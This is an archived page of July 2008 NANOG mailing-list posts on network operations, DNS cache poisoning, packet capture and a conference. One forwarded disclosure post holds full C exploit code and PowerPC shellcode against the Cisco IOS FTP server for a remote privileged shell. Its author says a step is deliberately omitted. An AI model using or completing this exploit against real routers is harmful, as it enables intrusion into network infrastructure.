- Test - lists.nanog.org

RE: Level3 tries cell-phone style billing scam on customers
by David Hubbard 31 Jul '08

31 Jul '08

From: Patrick Giagnocavo [mailto:patrick@zill.net] > > Anyone else seeing this same behavior from Level3? > We're going on three months of trying to get billing issues resolved; and yes, no way to talk to a real person anymore, nor are there any sales reps left that have any interest in talking to their customers as far as I can tell. If it weren't for positive experiences with tech support, they would be Verizon. David

3 2

Re: Software router state of the art
by William Herrin 31 Jul '08

31 Jul '08

On Wed, Jul 23, 2008 at 2:03 PM, Naveen Nathan <naveen(a)lastninja.net> wrote: >> The Endace DAG cards claim they can move 7 gbps over a PCI-X bus from >> the NIC to main DRAM. They claim a full 10gbps on a PCIE bus. > > I wonder, has anyone heard of this used for IDS? I've been looking at > building a commodity SNORT solution, and wondering if a powerful network > card will help, or would the bottleneck be in processing the packets and > overhead from the OS? The first bottleneck is the interrupts from the NIC. With a generic Intel NIC under Linux, you start to lose a non-trivial number of packets around 700mbps of "normal" traffic because it can't service the interrupts quickly enough. The DAG card can be dropped in to replace the interface used for a libpcap-based application. When I tested the 1gbps PCIE version, I lost no packets to 1gbps and my capture application's CPU usage dropped to about 1/5th of what it was with the generic NIC. YMMV. Regards, Bill Herrin -- William D. Herrin ................ herrin(a)dirtside.com bill(a)herrin.us 3005 Crane Dr. ...................... Web: <http://bill.herrin.us/> Falls Church, VA 22042-3004

29 39

Re: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation (fwd)
by Gadi Evron 31 Jul '08

31 Jul '08

I guess history decided the previous discussion in favor of vix. Although I doubt vix sees this compromise at ATT as a victory, but rather a loss. Note: HD has not been compromised. Gadi. ---------- Forwarded message ---------- Date: Wed, 30 Jul 2008 11:46:49 -0700 From: Dragos Ruiu <dr(a)kyx.net> To: Paul Ferguson <fergdawg(a)netzero.net> Cc: funsec(a)linuxbox.org Subject: Re: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation On 29-Jul-08, at 10:01 PM, Paul Ferguson wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Via PC World (IDG). > > [snip] > > HD Moore has been owned. > > That's hacker talk, meaning that Moore, the creator of the popular > Metasploit hacking toolkit has become the victim of a computer attack. > > It happened on Tuesday morning, when Moore's company, BreakingPoint > had > some of its Internet traffic redirected to a fake Google page that was > being run by a scammer. According to Moore, the hacker was able to > do this > by launching what's known as a cache poisoning attack on a DNS > server on > AT&T's network that was serving the Austin, Texas area. One of > BreakingPoint's servers was forwarding DNS (Domain Name System) > traffic to > the AT&T server, so when it was compromised, so was HD Moore's > company. > > When Moore tried to visit Google.com, he was actually redirected to > a fake > page that served up a Google page in one HTML frame along with three > other > pages designed to automatically click on advertisements. > > [snip] > > More: > http://www.pcworld.com/article/149126/2008/07/.html > > - - ferg > > > -----BEGIN PGP SIGNATURE----- > Version: PGP Desktop 9.6.3 (Build 3017) > > wj8DBQFIj/Wrq1pz9mNUZTMRAmAhAJ9lT5hosH5xBOWOsTFArDsw1MGN1ACg+wQR > a12h7wcZ9hy0JN2DtHkuZGo= > =Wv/X > -----END PGP SIGNATURE----- > > -- > "Fergie", a.k.a. Paul Ferguson > Engineering Architecture for the Internet > fergdawg(at)netzero.net > ferg's tech blog: http://fergdawg.blogspot.com/ > > > _______________________________________________ > Fun and Misc security discussion for OT posts. > https://linuxbox.org/cgi-bin/mailman/listinfo/funsec > Note: funsec is a public and open mailing list. _______________________________________________ Fun and Misc security discussion for OT posts. https://linuxbox.org/cgi-bin/mailman/listinfo/funsec Note: funsec is a public and open mailing list.

6 7

big DC -48V to AC inverters
by Andreas Ott 31 Jul '08

31 Jul '08

Hello, we are looking into providing power for 'legacy' equipment in a data center that is exclusively giving us -48V DC power. The most recent thread on this list was about -48V DC modems but in our case I am rather looking into inverting on the order of 4 kW per rack from the supplied DC into AC equipment. And yes, that's not the most efficient use of power, we know it already ;-) . Does anyone operate devices like this that are capable of 2...4 kW power conversion and do you have recommendations, good or bad experience to share? Please reply direct to me and indicate if it's OK to use your answer in a summary e-mail back to the list. Thanks, andreas -- Andreas Ott K6OTT andreas(a)naund.org

3 2

Re: Hardware capture platforms
by David Newman 30 Jul '08

30 Jul '08

Jon Kibler wrote: > Hubs are still available that are REAL hubs. I got 4 netgears about a > year ago and they are still available. > > However, there is a problem with your specification: No hub (that I am > aware of) can do 1Gbps. All hubs are 10/100 AFAIK. Grand Junction made a gigabit Ethernet repeater around 1996. It was based on the "carrier extension" part of the gigabit Ethernet spec that allows for half-duplex operation. Carrier extension pads any frame shorter than 512 bytes to be 512 bytes long. For that reason (in case frame size distribution matters), as well as the tons of collisions that others have mentioned, I'd also stay away from hubs for the OP's needs. Also, many 10/100 hubs have a 2-port switch to move frames between speeds, so it's conceivable that even a "hub" may have multiple collision domains. dn

1 0

[NANOG-announce] NANOG44 updated agenda, so register already
by Todd Underwood 30 Jul '08

30 Jul '08

<hat org="NANOG program committee" role="chair"> An updated agenda for NANOG44 has been posted at: http://nanog.org/mtg-0810/agenda.html you might notice that this NANOG features: * Keynote by Vint Cerf of Google * More tutorials than you can shake a stick at * A panel of Internet Luminaries addressing the current addressing situation from a historical perspective * A surfeit of IPv6 content (with some more likely before the event). * Lots of other great, operational presentations So I would humbly suggest that you (collectively) register for NANOG44 ( https://nanog.merit.edu/registration/ ) as quickly as possible. Discounted registration ends in less than two weeks, so save yourself $75 and get registered. You know you're going to go, so just go already. I would *strongly* suggest you reserve a hotel room if you have not already. The last several NANOGs all available discounted rooms in the room block have gone very quickly. ( http://nanog.org/mtg-0810/hotel.html ) Note that the program is now effectively full (there are 2-3 slots left that are saved for conditionally accepted talks that are already in progress or any presentations dealing with late-breaking events, but the event would have to be exceptionally significant and interesting). If you didn't submit for this NANOG conference, please consider submitting a presentation for NANOG45. See y'all (that's "yinz" in Pittsburgh :-) in LA. t. </hat> -- _____________________________________________________________________ todd underwood +1 603 643 9300 x101 renesys corporation general manager babbledog todd(a)renesys.com http://www.renesys.com/blog _______________________________________________ NANOG-announce mailing list NANOG-announce(a)nanog.org http://mailman.nanog.org/mailman/listinfo/nanog-announce

1 0

Re: Hardware capture platforms
by Manish Karir 30 Jul '08

30 Jul '08

Hi John, You might want to check out www.opencalea.org. We have just released opencalea-lite which is a complete re-write of the original opencalea software. OpenCalea-lite is a much better and cleaner re-write(we learnt from our mistakes in the previous releases). One of the problems of the original version was that we were getting bogged down in details over the precise standard format instead of making the core more stable. OpenCalea-lite takes a step back form this and aims at doing well the essense of what packet taps should be able to. It has a nice clean tap/controller/collector architecture which is much more robust. Taps will register with the controller irrespective of which is started first. Process control has also been improved. Starting and stopping taps is handled in a much cleaner way. In addtion TCP streams are used to transfer data. We were about to send out an announcement regarding opencalea-lite on the opencalea(a)merit.edu mailing list. Aside from calea requirements opencalea-lite is actually a fairly good platform for running remote-taps in your network. -manish > Message: 4 > Date: Tue, 29 Jul 2008 16:10:09 -0700 (PDT) > From: "John A. Kilpatrick" <john(a)hypergeek.net> > Subject: Hardware capture platforms > To: nanog(a)merit.edu > Message-ID: <20080729155511.R42026(a)iama.hypergeek.net> > Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed > > > We've deployed a bunch taps in our network and now we need a platform > on > which to capture the data. Our bandwidth is currently pretty low but > I've got 8 links to tap, which means I need 16 ports. Has anyone done > any > research on doing accurate packet capture with commodity hardware? > > > -- > John A. Kilpatrick > john(a)hypergeek.net Email| http://www.hypergeek.net/ > john-page(a)hypergeek.net Text pages| ICQ: 19147504 > remember: no obstacles/only challenges >

1 0

Remote Cisco IOS FTP exploit (fwd)
by Gadi Evron 29 Jul '08

29 Jul '08

---------- Forwarded message ---------- Date: Tue, 29 Jul 2008 11:31:11 +0100 From: Andy Davis <iosftpexploit(a)googlemail.com> To: bugtraq(a)securityfocus.com Subject: Remote Cisco IOS FTP exploit Hi, The IOS FTP server vulnerabilities were published in an advisory by Cisco in May 2007. The FTP server does not run by default, it is not widely used and has since been removed from new versions of IOS. Therefore, I took the decision to release this exploit code in order to show that IOS can be reliably exploited to provide remote level 15 exec shell access. This clearly demonstrates that patching your router is just as important as patching your servers. To prevent its widespread abuse I have omitted a critical step which means that it will only work when the router is connected to a debugger - not something you are likely to encounter on the Internet Anyway, hopefully this will promote further IOS security research as there's plenty left to look at! Cheers, Andy /* Cisco IOS FTP server remote exploit by Andy Davis 2008 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007 Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router Removes the requirement to authenticate and escalates to level 15 ********************************************************************* To protect the innocent a critical step has been omitted, which means the shellcode will only execute when the router is attached to gdb. I'm sure the PowerPC shellcoders out there will work it out... ********************************************************************* Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent on the original IOS security research iosftpexploit <at> googlemail 'dot' com */ #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #define PORT 21 int main(int argc, char **argv) { unsigned char sendbuf[] = "MKD " /* .equ vty_info, 0x8182da60 # pointer to VTY info */ /* .equ terminate, 0x80e4086c # kill a process */ "\x3c\x80\x81\x83" /* lis 4,vty_info@ha */ "\x38\x84\xda\x60" /* la 4,vty_info@l(4) */ "\x7d\x08\x42\x78" /* xor 8,8,8 */ "\x7c\xe4\x40\x2e" /* lwzx 7,4,8 */ "\x91\x07\x01\x74" /* stw 8,372(7) */ "\x39\x08\xff\xff" /* subi 8,8,1 */ "\x38\xe7\x09\x1a" /* addi 7,7,233 */ "\x91\x07\x04\xca" /* stw 8,1226(7) */ "\x7d\x03\x43\x78" /* mr 3,8 */ "\x3c\x80\x80\xe4" /* lis 4,terminate@ha */ "\x38\x84\x08\x6c" /* la 4,terminate@l(4) */ "\x7c\x89\x03\xa6" /* mtctr 4 */ "\x4e\x80\x04\x20" /* bctr */ /* exists cleanly without adversely affecting the FTP server */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x80\x06\x23\xB8" /* return address */ "\x0d\x0a"; /* trampoline code */ /* when the overflow occurs r26+0x14 points to the shellcode */ /* 0x800623B8 lwz 26, 20(26) 0x800623BC mtctr 26 0x800623C0 mr 3, 27 0x800623C4 bctrl */ unsigned char recvbuf[256]; struct sockaddr_in servaddr; int s; if (argc != 2) { printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("\nUsage: %s <target IP address>\n",argv[0]); exit(-1); } servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr(argv[1]); servaddr.sin_port = htons(PORT); s = socket(AF_INET, SOCK_STREAM, 0); connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr)); printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n"); printf ("Sending exploit...\n\n"); if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0) { printf("Error sending packet...quitting\n\n"); exit (1); } recv (s, recvbuf, sizeof(recvbuf)-1,0); printf ("Now telnet to the router for a shell...\n\n"); }

1 0

Great Suggestion for the DNS problem...?
by Jay R. Ashworth 29 Jul '08

29 Jul '08

[ unthreaded to encourage discussion ] On Sat, Jul 26, 2008 at 04:55:23PM -0500, James Hess wrote: > Nameservers could incorporate poison detection... > > Listen on 200 random fake ports (in addition to the true query ports); > if a response ever arrives at a fake port, then it must be an attack, > read the "identified" attack packet, log the attack event, mark the > RRs mentioned in the packet as "poison being attempted" for 6 hours; > for such domains always request and collect _two_ good responses > (instead of one), with a 60 second timeout, before caching a lookup. > > The attacker must now guess nearly 64-bits in a short amount of time, > to be successful. Once a good lookup is received, discard the normal > TTL and hold the good answer cached and immutable, for 6 hours (_then_ > start decreasing the TTL normally). Is there any reason which I'm too far down the food chain to see why that's not a fantastic idea? Or at least, something inspired by it? Cheers, -- jr 'IANAIE' a -- Jay R. Ashworth Baylink jra(a)baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin)

15 18

re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?
by Paul Vixie 29 Jul '08

29 Jul '08

this is for whoever said "it's just a brute force attack" and/or "it's the same attack that's been described before". maybe it goes double if that person is also the one who said "my knowledge in this area is out of date". grrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr. re: -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean.

34 64